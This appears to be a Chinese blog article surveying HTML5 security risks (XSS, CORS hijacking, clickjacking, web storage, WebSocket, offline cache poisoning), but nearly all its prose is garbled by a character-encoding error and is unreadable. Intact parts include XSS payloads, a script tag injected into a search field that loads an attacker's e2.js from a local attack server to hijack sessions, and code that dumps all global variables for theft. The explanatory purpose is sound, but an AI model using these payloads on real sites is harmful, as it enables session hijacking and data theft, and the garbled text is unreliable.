°ÑÓ¦ÓõĶËÀ©Õ¹µ½mobile×ÔÈ»¶øÈ»»á´øÀ´°²È«µÄÒþ»¼£¬ÌرðÊǶÔÓÚÎÒÃÇ»ùÓÚHTML5À´×ö¿çƽ̨µÄ¿ª·¢¸üÊÇÈç´Ë¡£HTML5ÌṩÁ˺ܶàÌØÐÔ£¬¸÷¸öƽ̨¶¼ÔÚŬÁ¦µÄʵÏÖÕâÐ©ÌØÐÔ£¬¿ª·¢ÕßҲŬÁ¦µØÔÚʹÓÃÕâÐ©ÌØÐÔ£¬ÒÔ´ËÇóµÃ²»Ò»ÑùµØÌåÑ顣Ȼ¶ø£¬ÊÂÇé¶¼ÓÐÁ½ÃæÐÔ£¬´ó¶àÊýwebÓ¦Óõݲȫ´ëÊ©¶¼ÊÇ»ùÓÚ´«Í³µÄHTML£¬Ã»Óи²¸Çµ½HTML5µÄÐÂÌØÐÔ£¬ÏÂÃæÀ´¿´¿´ÓÉÓÚHTML5ÐÂÌØÐÔ¶ø´øÀ´µÄ°²È«Òþ»¼£º
1£©XSS
XSS£¨¿çÕ¾½Å±¾¹¥»÷£©ÕâÀï²»ÏëÈ«Ãæ½éÉÜ£¬ÕâÊÇweb°²È«ÖÐ×î»ù´¡µÄÒ»¸öÎÊÌ⣬´ó¶àÊýwebÓ¦Óö¼»á×öXSS·À·¶¡£HTML5µÄÐÂÌØÐÔÀïÌṩÁ˺ܶàÖ´ÐÐJSµÄ´¥·¢µã£¬±ÈÈçÏÂÃæ¼¸¸öÀý×Ó£º
1.<video><source onerror="javascript:alert(1)¡°> 2.<input autofocus onfocus=alert(1)> 3.<form id="test" /><button form="test" formaction="javascript:alert(1)"> |
ÕâЩ¶¼¸ø¹¥»÷ÕßÖ²Èë½Å±¾´øÀ´ÁËлú»á¡£Òò´Ë£¬´ó¼ÒÓбØÒª°Ñ×Ô¼ºÓ¦ÓÃÀïXSS·À·¶´ëÊ©ÔٺúÃÉó²éһϣ¬Óиö¸çÃÇ×ܽáÁËһϻùÓÚHTML5¿ÉÒÔ×öXSSµÄµã£¬http://code.google.com/p/html5security/£¬´ó¼Ò¿ÉÒԲο¼Ò»Ï¡£
web¹¥»÷´ó¶àÊý¶¼ÊÇ×éºÏÈ£¬XSSÊǺܶà×éºÏÈÖбØÒªµÄÒ»²½£¬Òò´Ë£¬À¹×¡ÁËXSS£¬Ò²¾ÍÀ¹×¡ÁË´ó°ëweb¹¥»÷£¬ÖµµÃ´ó¼ÒÖØÊÓ¡£
2£©CORS & CSRF
HTML5֮ǰÓÐSOP£¨Same Origin Policy£©µÄ¹æ·¶£¬Ò²¾ÍÊÇajax²»ÄÜ¿çÓò·ÃÎÊ£¬Õâ¸öÍæÒâµ¼Öºܶàweb¿ª·¢ÕߺÜÍ´¿à£¬ÒÔÖÁÓÚ¸ã³öºÜ¶à¿çÓò·½°¸£¬±ÈÈçJSONPºÍflash
socket¡£HTML5¸ø´ó¼ÒÌṩÁË·½±ã£¬¸ã³öÁËÒ»¸öCORS£¨Cross Origin Resource
Sharing£©¹æ·¶£¬Ò²¾ÍÊÇ˵ÔÚÈç¹ûÔÚ·þÎñ¶Ë¼ÓÉÏAccess-Control-Allow-Origin:
xxx£¬Ò²¾Í±íʾ´Ë·þÎñ¶ËÈÝÐíÀ´×ÔxxxµÄ¿çÓò·ÃÎÊ£¬ÕâȷʵºÜ·½±ã£¬²»¹ýÒ²·½±ãÁ˹¥»÷ÕßʹÊܺ¦Õ߿ͻ§¶ËÓë×Ô¼ºµÄ·þÎñ¶Ë²úÉúË«ÏòͨÐÅ£¬ÒÔÖÁ¸ü·½±ãÖ²Èë¸ü¶à¶«Î÷£¬±ÈÈçÄ£ÄâÇëÇóÀ´¸ãCSRF¡£ÏÂÃæÊÇÒ»¸öCORS¹¥»÷µÄÁ÷³Ìͼ£º

Ê×ÏÈͨ¹ýXSSµÈ·½·¨À´µ¼ÖÂÊܺ¦ÕߵĿͻ§¶ËÏòÄãµÄ·þÎñÆ÷·¢ËÍAjaxÇëÇó£¬Ö»ÒªÄãµÄ·µ»ØµÄheadÀïAccess-Control-Allow-Origin°üº¬µ±Ç°¿Í»§¶ËµÄ·ÃÎʵÄÓòÃû£¬Äã¾Í¿ÉÒÔ¶Ô¿Í»§¶Ë·µ»Ø£¬È»ºó£¬Äã¾Í¿ÉÒÔ°ÑÄãÏëÒª¿Í»§¶ËÖ´ÐеIJÙ×÷·µ»Ø¸ø¿Í»§¶Ë£¬Ê¹ÆäÖ´ÐУ¬ÕâÑùÄã¾Í¿ÉÒÔÒÔÊܺ¦ÕßµÄÉí·Ý×öÄãÏë×öµÄÊÂÇé¡£http://www.andlabs.org/tools/sotf/sotf.htmlÕâÆªÎÄÕÂÀï½éÉÜÁËÒ»¸ö·½±ãʵʩCORS¹¥»÷µÄ¹¤¾ß£¬Í¨¹ýʹÓÃÕâ¸ö¹¤¾ß£¬ÄܸüÖ±¹Û¸ÐÊܹ¥»÷µÄÈ«¹ý³Ì£º
1. ÏÂÔØ²¢Æô¶¯attacker server

2. ÔÚÊܹ¥»÷µÄÍøÕ¾ÀïÖ²Èë½Å±¾£¬ÕâÀïʹÓÃÁËÒ»¸ödemoÍøÕ¾£¬²¢Ö±½ÓÔÚseachÀïËÑË÷£º<script
src="http://127.0.0.1:8080/e2.js"></script>£¬ÖµÆäÔØÈëe2.js²¢Ö´ÐÐ
3. Æô¶¯¹¥»÷console(http://127.0.0.1:8080/sotf.console,×¢Òâ8080ÊǵÚÒ»²½ÀïÅäÖõ쬲¢ÇÒ´Ëä¯ÀÀÆ÷ÐèÒª°Ñ´úÀíÉèÖÃΪ127.0.0.1£º1337£¬1337Ò²ÊǵÚÒ»²½ÀïÅäÖõÄ)£º

µã»÷¡®Hijack Session¡¯ºóÏÔʾÊܺ¦ÕßÕýÔÚ·ÃÎʵÄÍøÕ¾£º

ÕâʱÄã¾Í³É¹¦µÄ¹ÒסÁËÊܺ¦Õߣ¬Äã¿ÉÒÔÏòÊܺ¦Õß·¢ËÍÄãÏë×öµÄ²Ù×÷£¬±ÈÈ磬ÄãËæÒâµã»÷×ó±ßµÄÁ´½Ó£¬ÄãÔÚÊܺ¦ÕßµÄä¯ÀÀÆ÷µÄhttpÇëÇóÀïÄÜ¿´µ½£¬ä¯ÀÀÆ÷ÔÚÇÄÇĵØÖØ·ÅÄãÔÚconsoleÀï·ÃÎÊÒ³ÃæµÄÇëÇó£º

´óÖ¿´¿´e2.jsÔ´ÂëÒ²ÄÜ¿´³ö´óÖµÄÁ÷³Ì¡£ÕâÊǺܲ»´íµÄѧϰ°¸Àý¡£
3£©Clickjacking
ClickjackingÒ²ÊÇÒ»ÖֱȽϴ«Í³µÄ¹¥»÷·½·¨£¬Ò²¾ÍÊÇͨ¹ý¶ÔÒ³ÃæµÄÐÞ¸ÄÆÛÆÓû§µÄÑÛ¾¦£¬Ê¹Æä×öÁ˲»Ïë×öµÄʶù£¬±ÈÈçµã»÷ÏÂÃæµÄͼƬ£º

¶øÊµ¼ÊÉÏ´ËÒ³ÃæÉÏÃæ»¹¸½ÓÐÒ»¸öÒþ²ØµÄiframe£º

ʹµÃÄãÎÞÒâʶµØµ½amazonÉÏÂòÁ˶«Î÷¡£ÕâÖÖ¹¥»÷ÆäʵÊǺÜÄÑÍê³ÉµÄ£¬Ò»ÊǺÜÄÑÓÕµ¼Óû§ÌîдһЩֵ£¬¶þÊÇÓÉÓÚSOPµÄÏÞÖÆiframeÀï½Å±¾µÄÐÐΪ£¬µ«HTML5µÄÐÂÌØÐÔÓÖ·½±ãÁËʵʩClickjacking¡£https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdfÏêϸµØ½éÉÜÁËÈçºÎ»ùÓÚdragÌØÐÔÀ´ÊµÊ©Clickjacking¡£
4£©Web storage
HTML5ÌṩÁËlocal storageÄÜÁ¦£¬±ÈÈçlocalstorage
APIºÍweb database£¬Èç¹û°Ñ¹Ø¼üÐÅÏ¢´æÔÚlocal storageÀ¾ÍÓб»ÇÔÈ¡µÄ¿ÉÄÜ¡£ËäÈ»HTML5µÄ¹æ·¶Àï¹æ¶¨local
storageÖ»Äܱ»Í¬Óò·ÃÎÊ£¬µ«Í¨¹ýXSSºÍDomain Name System (DNS) cache
poisoningµÈ·½·¨¾ÍÄÜÈÆ¿ªÕâ¸öÏÞÖÆ¡£ËùÒÔ²»ÄܰѹؼüÐÅÏ¢²»×öÈκα£»¤µÄÐÎʽ·ÅÔÚlocal storageÀï¡£ÁíÍ⣬ÓÐЩ¿ª·¢ÕßҲϰ¹ß°ÑһЩ¹Ø¼üÐÅÏ¢·ÅÔÚglobal±äÁ¿À±ÈÈçµÇ¼ÃÜÂëµÈ£¬ÕâЩ±äÁ¿Ò²ÊÇÓб»Ð¹Â©µÄ¿ÉÄÜ£¬±ÈÈçÏÂÃæÕâ¶Î´úÂë¾ÍÄܱéÀúËùÓÐglobal±äÁ¿£º
for(i in window){ obj=window[i]; if(obj!=null||obj!=undefined) var type = typeof(obj); if(type=="object"||type=="string") { console.log("Name:"+i) try{ my=JSON.stringify(obj); console.log(my) }catch(ex){} } } |
ÒÔ´ËÍêÈ«¿ÉÒÔͨ¹ýXSSÀ´Ö´ÐÐÉÏÃæÀàËÆµÄ´úÂë¡£
5) WebSocket
WebSocketÊÇHTML5·Ç³£ÊÜÈ˹Ø×¢µÄÌØÐÔ£¬ËüÌṩÁ˿ͻ§¶ËÓë·þÎñ¶ËµÄË«ÏòͨÐÅÄÜÁ¦£¬ÕâÒ²±©Â¶ÁËһЩ°²È«Òþ»¼£¬±ÈÈ磺
±©Â¶³ÉºóÃÅ£¬³ÉΪ¹¥»÷ÕßÖ²Èë½Å±¾µÄshell
ͨ¹ý¿Í»§¶Ë×ö¶Ë¿ÚɨÃèhttp://www.andlabs.org/tools/jsrecon.htmlÊÇÒ»¸ö»ùÓÚWebSocketµÄ¶Ë¿ÚɨÃèÆ÷£¬´ÓÖпÉÒÔÌå»áµ½ÈçºÎwebsocketÀ´½øÐй¥»÷¡£
6£©Desktop Notifications
Desktop NotificationsÊÇHTML5ÔÚÓÒϽǵ¯³ö±¾µØÏûÏ¢µÄÄÜÁ¦£¬ÈçÏÂͼËùʾ£º

ÕâÖÖ±¾µØÏûÏ¢¼«ÆäÈÝÒ×ÓÕ»óÓû§È¥µã»÷£¬ËùÒÔͨ¹ýÕâÖÖÐÎʽ£¬ÄܺÜÈÝÒ×ÓÕµ¼Óû§Ð¹Â©¹Ø¼üÐÅÏ¢£¬±ÈÈ磺

7£©Geolocation
GeolocationʹµÃwebÓ¦ÓÃÄÜÄõ½¿Í»§¶ËµØÀíÐÅÏ¢£¬Ò²µ¼Ö¹¥»÷Õß¿ÉÒÔÇÔÈ¡Óû§µÄµØÀíÐÅÏ¢£¬ÓÐÁ˵ØÀíÐÅÏ¢¾Í¿ÉÒÔ×öºÜ¶àÊÂÇ飬±ÈÈ磺
1.·¢Ëͱ¾µØ»¯µÄ¹ã¸æ
2.¸ú×Ù
3.ÊÛÂô¸öÈËÐÅÏ¢
8£©Offline
OfflineÊÇHTML5ÌṩµÄ»º´æ¾²Ì¬×ÊÔ´µÄÄÜÁ¦£¬Í¨¹ýÒÔÏÂÅäÖãº
CACHE MANIFEST /file1.html /images/someImage.jpg /JavaScript/script1.js |
¾Í¿ÉÒÔ»º´æÕâÈý¸öÎļþ£¬Ï´ξÍÖ±½ÓÔÚ±¾µØ·ÃÎÊ¡£ÕâÖÖ·½Ê½Ò²Óа²È«Òþ»¼£¬±ÈÈçÏÂÃæµÄ²½Ö裺
ÔÚÓÐÎÞÃÜÂë±£»¤µÄwifiµÄ»·¾³ÖУ¨±ÈÈç¿§·ÈÌü£©À½ØÈ¡ÍøÂçͨÐÅ£¬Î±ÔìÒ³Ãæ·µ»Ø£¬±ÈÈçlogin.html
°Ñlogin.html×÷Ϊcache»º´æÆðÀ´
Óû§ÔÚ½«À´¾ÍËãÀ뿪wifi»·¾³ÏÂÒÀÈ»·ÃÎʵÄÊÇÄãαÔìµÄlogin.html£¬´Ó¶øÒ»Ö±ÊÜÄãµÄ¿ØÖÆ
9£©Web worker
Web workerÊÇHTML5ÌṩµÄ¶àÏß³ÌÈÎÎñµÄÄÜÁ¦£¬ÕâʹµÃ¹¥»÷Õß¿ÉÒÔÖ´ÐÐһЩÐèÒª³¤Ê±¼äÔËÐеĽű¾£¬²¢ÇÒÊÇbackgroundµÄ£¬¿ÉÒÔÉñ²»Öª¹í²»¾õ¡£
´ÓÉÏÃæÕâЩÀý×Ó¿ÉÒÔ¿´³ö£¬HTML5µÄ¸÷ÖÖÐÂÌØÐÔȷʵÊÇË«Èн££¬°²È«Òþ»¼²»Ö¹ÕâôһЩ£¬ÎÒÃǶÔÓÚÕâЩÐÂÌØÐÔµÄÓ¦Óã¬ÐèÒª¶àÉî²ã´ÎµÄÏëÏ룬¿´¿´ÓÐûÓа²È«Òþ»¼¡£
|